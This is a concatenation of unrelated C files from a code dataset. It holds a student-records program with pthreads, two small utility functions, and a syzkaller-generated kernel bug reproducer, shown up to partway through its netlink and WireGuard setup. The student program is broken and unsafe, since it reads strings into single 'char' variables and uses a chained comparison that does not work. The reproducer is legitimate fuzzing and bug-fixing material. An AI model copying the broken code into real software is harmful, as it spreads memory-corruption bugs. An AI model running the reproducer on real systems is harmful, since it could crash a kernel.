char department, stateOfOrigin, name, email;
float cgpa;
int gap, gap1, gap2, gap3, class_rep, class_lev;
pthread_t classrep;
pthread_t classlevel;
pthread_t C_gpa;
pthread_t studentcouncil;
printf("Welcome!");
printf("Please enter your name: ");
scanf("%s", &name);
printf("Please enter your email to receive updates: ");
scanf("%s", &email);
printf("What Department are you in?: ");
scanf("%s", &department);
printf("Your State of Origin: ");
scanf("%s",&stateOfOrigin);
fork();
printf("Are you a class rep?\n 1. Yes\n 2. No\n");
scanf("%d", &class_rep);
if (class_rep == 1)
{
gap1 = pthread_create(&classrep, NULL, &ClassRep, NULL);
}
printf("Enter class level: ");
scanf("%d", &class_lev);
if (class_lev > 100)
{
gap2 = pthread_create(&classlevel, NULL, &ClassLevel, NULL);
}
printf("Enter CGPA: ");
scanf("%f", &cgpa);
if(5 >=cgpa>= 4.0)
{
gap3 = pthread_create(&C_gpa, NULL, &CGPA, NULL);
}
if (gap1 == 0 && gap2 == 0 && gap3 == 0)
{
gap = pthread_create(&studentcouncil, NULL, &studentCncil, NULL);
}
return 0;
}
|
the_stack_data/578359.c
|
int *copyip(ipf, ipt)
register int *ipf, *ipt;
{
while((*ipt = *ipf) && *ipf++ != -1)
ipt++;
*ipt = 0;
return(ipt);
}
|
the_stack_data/797949.c
|
/*
* __umodsi3.c for 32-bit unsigned integer modulo.
*/
extern unsigned int __udivmodsi4(unsigned int num, unsigned int den, unsigned int * rem_p);
/*
* 32-bit unsigned integer modulo.
*/
unsigned int __umodsi3(unsigned int num, unsigned int den)
{
unsigned int v;
(void)__udivmodsi4(num, den, &v);
return v;
}
|
the_stack_data/1199560.c
|
// KASAN: use-after-free Read in dput
// https://syzkaller.appspot.com/bug?id=d5b50dcdc423754d6d4f
// status:0
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/capability.h>
#include <linux/futex.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/veth.h>
static unsigned long long procid;
static __thread int skip_segv;
static __thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
uintptr_t addr = (uintptr_t)info->si_addr;
const uintptr_t prog_start = 1 << 20;
const uintptr_t prog_end = 100 << 20;
int skip = __atomic_load_n(&skip_segv, __ATOMIC_RELAXED) != 0;
int valid = addr < prog_start || addr > prog_end;
if (skip && valid) {
_longjmp(segv_env, 1);
}
exit(sig);
}
static void install_segv_handler(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
{ \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
}
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir(void)
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i = 0;
for (; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
struct nlmsg {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[1024];
};
static struct nlmsg nlmsg;
static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
const void* data, int size)
{
memset(nlmsg, 0, sizeof(*nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data,
int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
memcpy(attr + 1, data, size);
nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}
static void netlink_nest(struct nlmsg* nlmsg, int typ)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_type = typ;
nlmsg->pos += sizeof(*attr);
nlmsg->nested[nlmsg->nesting++] = attr;
}
static void netlink_done(struct nlmsg* nlmsg)
{
struct nlattr* attr = nlmsg->nested[--nlmsg->nesting];
attr->nla_len = nlmsg->pos - (char*)attr;
}
static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type,
int* reply_len)
{
if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
unsigned n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0,
(struct sockaddr*)&addr, sizeof(addr));
if (n != hdr->nlmsg_len)
exit(1);
n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
if (reply_len)
*reply_len = 0;
if (hdr->nlmsg_type == NLMSG_DONE)
return 0;
if (n < sizeof(struct nlmsghdr))
exit(1);
if (reply_len && hdr->nlmsg_type == reply_type) {
*reply_len = n;
return 0;
}
if (n < sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))
exit(1);
if (hdr->nlmsg_type != NLMSG_ERROR)
exit(1);
return -((struct nlmsgerr*)(hdr + 1))->error;
}
static int netlink_send(struct nlmsg* nlmsg, int sock)
{
return netlink_send_ext(nlmsg, sock, 0, NULL);
}
static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset,
unsigned int total_len)
{
struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset);
if (offset == total_len || offset + hdr->nlmsg_len > total_len)
return -1;
return hdr->nlmsg_len;
}
static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type,
const char* name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
if (name)
netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name));
netlink_nest(nlmsg, IFLA_LINKINFO);
netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type));
}
static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type,
const char* name)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name,
const char* peer)
{
netlink_add_device_impl(nlmsg, "veth", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_nest(nlmsg, VETH_INFO_PEER);
nlmsg->pos += sizeof(struct ifinfomsg);
netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer));
netlink_done(nlmsg);
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name,
const char* slave1, const char* slave2)
{
netlink_add_device_impl(nlmsg, "hsr", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
int ifindex1 = if_nametoindex(slave1);
netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1));
int ifindex2 = if_nametoindex(slave2);
netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type,
const char* name, const char* link)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t id, uint16_t proto)
{
netlink_add_device_impl(nlmsg, "vlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id));
netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link)
{
netlink_add_device_impl(nlmsg, "macvlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
uint32_t mode = MACVLAN_MODE_BRIDGE;
netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name,
uint32_t vni, struct in_addr* addr4,
struct in6_addr* addr6)
{
netlink_add_device_impl(nlmsg, "geneve", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni));
if (addr4)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4));
if (addr6)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
(void)err;
}
#define IFLA_IPVLAN_FLAGS 2
#define IPVLAN_MODE_L3S 2
#undef IPVLAN_F_VEPA
#define IPVLAN_F_VEPA 2
static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t mode, uint16_t flags)
{
netlink_add_device_impl(nlmsg, "ipvlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode));
netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
(void)err;
}
static void netlink_device_change(struct nlmsg* nlmsg, int sock,
const char* name, bool up, const char* master,
const void* mac, int macsize,
const char* new_name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
if (up)
hdr.ifi_flags = hdr.ifi_change = IFF_UP;
hdr.ifi_index = if_nametoindex(name);
netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr));
if (new_name)
netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name));
if (master) {
int ifindex = if_nametoindex(master);
netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
}
if (macsize)
netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev,
const void* addr, int addrsize)
{
struct ifaddrmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120;
hdr.ifa_scope = RT_SCOPE_UNIVERSE;
hdr.ifa_index = if_nametoindex(dev);
netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize);
netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize);
return netlink_send(nlmsg, sock);
}
static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in_addr in_addr;
inet_pton(AF_INET, addr, &in_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr));
(void)err;
}
static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in6_addr in6_addr;
inet_pton(AF_INET6, addr, &in6_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr));
(void)err;
}
static void netlink_add_neigh(struct nlmsg* nlmsg, int sock, const char* name,
const void* addr, int addrsize, const void* mac,
int macsize)
{
struct ndmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ndm_ifindex = if_nametoindex(name);
hdr.ndm_state = NUD_PERMANENT;
netlink_init(nlmsg, RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, NDA_DST, addr, addrsize);
netlink_attr(nlmsg, NDA_LLADDR, mac, macsize);
int err = netlink_send(nlmsg, sock);
(void)err;
}
static int tunfd = -1;
#define TUN_IFACE "syz_tun"
#define LOCAL_MAC 0xaaaaaaaaaaaa
#define REMOTE_MAC 0xaaaaaaaaaabb
#define LOCAL_IPV4 "172.20.20.170"
#define REMOTE_IPV4 "172.20.20.187"
#define LOCAL_IPV6 "fe80::aa"
#define REMOTE_IPV6 "fe80::bb"
#define IFF_NAPI 0x0010
static void initialize_tun(void)
{
tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK);
if (tunfd == -1) {
printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n");
printf("otherwise fuzzing or reproducing might not work as intended\n");
return;
}
const int kTunFd = 240;
if (dup2(tunfd, kTunFd) < 0)
exit(1);
close(tunfd);
tunfd = kTunFd;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ);
ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) {
exit(1);
}
char sysctl[64];
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE);
write_file(sysctl, "0");
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE);
write_file(sysctl, "0");
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
netlink_add_addr4(&nlmsg, sock, TUN_IFACE, LOCAL_IPV4);
netlink_add_addr6(&nlmsg, sock, TUN_IFACE, LOCAL_IPV6);
uint64_t macaddr = REMOTE_MAC;
struct in_addr in_addr;
inet_pton(AF_INET, REMOTE_IPV4, &in_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in_addr, sizeof(in_addr),
&macaddr, ETH_ALEN);
struct in6_addr in6_addr;
inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in6_addr, sizeof(in6_addr),
&macaddr, ETH_ALEN);
macaddr = LOCAL_MAC;
netlink_device_change(&nlmsg, sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN,
NULL);
close(sock);
}
#define DEVLINK_FAMILY_NAME "devlink"
#define DEVLINK_CMD_PORT_GET 5
#define DEVLINK_ATTR_BUS_NAME 1
#define DEVLINK_ATTR_DEV_NAME 2
#define DEVLINK_ATTR_NETDEV_NAME 7
static int netlink_devlink_id_get(struct nlmsg* nlmsg, int sock)
{
struct genlmsghdr genlhdr;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, DEVLINK_FAMILY_NAME,
strlen(DEVLINK_FAMILY_NAME) + 1);
int n = 0;
int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n);
if (err) {
return -1;
}
uint16_t id = 0;
struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
return id;
}
static struct nlmsg nlmsg2;
static void initialize_devlink_ports(const char* bus_name, const char* dev_name,
const char* netdev_prefix)
{
struct genlmsghdr genlhdr;
int len, total_len, id, err, offset;
uint16_t netdev_index;
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1)
exit(1);
int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (rtsock == -1)
exit(1);
id = netlink_devlink_id_get(&nlmsg, sock);
if (id == -1)
goto error;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = DEVLINK_CMD_PORT_GET;
netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1);
netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1);
err = netlink_send_ext(&nlmsg, sock, id, &total_len);
if (err) {
goto error;
}
offset = 0;
netdev_index = 0;
while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) {
struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg.buf + offset + len;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) {
char* port_name;
char netdev_name[IFNAMSIZ];
port_name = (char*)(attr + 1);
snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix,
netdev_index);
netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0,
netdev_name);
break;
}
}
offset += len;
netdev_index++;
}
error:
close(rtsock);
close(sock);
}
#define DEV_IPV4 "172.20.20.%d"
#define DEV_IPV6 "fe80::%02x"
#define DEV_MAC 0x00aaaaaaaaaa
static void netdevsim_add(unsigned int addr, unsigned int port_count)
{
char buf[16];
sprintf(buf, "%u %u", addr, port_count);
if (write_file("/sys/bus/netdevsim/new_device", buf)) {
snprintf(buf, sizeof(buf), "netdevsim%d", addr);
initialize_devlink_ports("netdevsim", buf, "netdevsim");
}
}
#define WG_GENL_NAME "wireguard"
enum wg_cmd {
WG_CMD_GET_DEVICE,
WG_CMD_SET_DEVICE,
};
enum wgdevice_attribute {
WGDEVICE_A_UNSPEC,
WGDEVICE_A_IFINDEX,
WGDEVICE_A_IFNAME,
WGDEVICE_A_PRIVATE_KEY,
WGDEVICE_A_PUBLIC_KEY,
WGDEVICE_A_FLAGS,
WGDEVICE_A_LISTEN_PORT,
WGDEVICE_A_FWMARK,
WGDEVICE_A_PEERS,
};
enum wgpeer_attribute {
WGPEER_A_UNSPEC,
WGPEER_A_PUBLIC_KEY,
WGPEER_A_PRESHARED_KEY,
WGPEER_A_FLAGS,
WGPEER_A_ENDPOINT,
WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
WGPEER_A_LAST_HANDSHAKE_TIME,
WGPEER_A_RX_BYTES,
WGPEER_A_TX_BYTES,
WGPEER_A_ALLOWEDIPS,
WGPEER_A_PROTOCOL_VERSION,
};
enum wgallowedip_attribute {
WGALLOWEDIP_A_UNSPEC,
WGALLOWEDIP_A_FAMILY,
WGALLOWEDIP_A_IPADDR,
WGALLOWEDIP_A_CIDR_MASK,
};
static int netlink_wireguard_id_get(struct nlmsg* nlmsg, int sock)
{
struct genlmsghdr genlhdr;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, WG_GENL_NAME,
strlen(WG_GENL_NAME) + 1);
int n = 0;
int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n);
if (err) {
return -1;
}
uint16_t id = 0;
struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
return id;
}
static void netlink_wireguard_setup(void)
{
const char ifname_a[] = "wg0";
const char ifname_b[] = "wg1";
const char ifname_c[] = "wg2";
const char private_a[] =
"\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a\x70\xae\x0f\xb2\x0f\xa1"
"\x52\x60\x0c\xb0\x08\x45\x17\x4f\x08\x07\x6f\x8d\x78\x43";
const char private_b[] =
"\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22\x43\x82\x44\xbb\x88\x5c"
"\x69\xe2\x69\xc8\xe9\xd8\x35\xb1\x14\x29\x3a\x4d\xdc\x6e";
const char private_c[] =
"\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f\xa6\xd0\x31\xc7\x4a\x15"
"\x53\xb6\xe9\x01\xb9\xff\x2f\x51\x8c\x78\x04\x2f\xb5\x42";
const char public_a[] =
"\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b\x89\x9f\x8e\xd9\x25"
"\xae\x9f\x09\x23\xc2\x3c\x62\xf5\x3c\x57\xcd\xbf\x69\x1c";
const char public_b[] =
"\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41\x3d\xc9\x57\x63\x0e"
"\x54\x93\xc2\x85\xac\xa4\x00\x65\xcb\x63\x11\xbe\x69\x6b";
const char public_c[] =
"\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45\x67\x27\x08\x2f\x5c"
"\xeb\xee\x8b\x1b\xf5\xeb\x73\x37\x34\x1b\x45\x9b\x39\x22";
const uint16_t listen_a = 20001;
const uint16_t listen_b = 20002;
const uint16_t listen_c = 20003;
const uint16_t af_inet = AF_INET;
const uint16_t af_inet6 = AF_INET6;
const struct sockaddr_in endpoint_b_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_b),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
const struct sockaddr_in endpoint_c_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_c),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_a)};
endpoint_a_v6.sin6_addr = in6addr_loopback;
struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_c)};
endpoint_c_v6.sin6_addr = in6addr_loopback;
const struct in_addr first_half_v4 = {0};
const struct in_addr second_half_v4 = {(uint32_t)htonl(128 << 24)};
const struct in6_addr first_half_v6 = {{{0}}};
const struct in6_addr second_half_v6 = {{{0x80}}};
const uint8_t half_cidr = 1;
const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19};
struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1};
int sock;
int id, err;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1) {
return;
}
id = netlink_wireguard_id_get(&nlmsg, sock);
if (id == -1)
goto error;
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[0], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6,
sizeof(endpoint_c_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[1], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
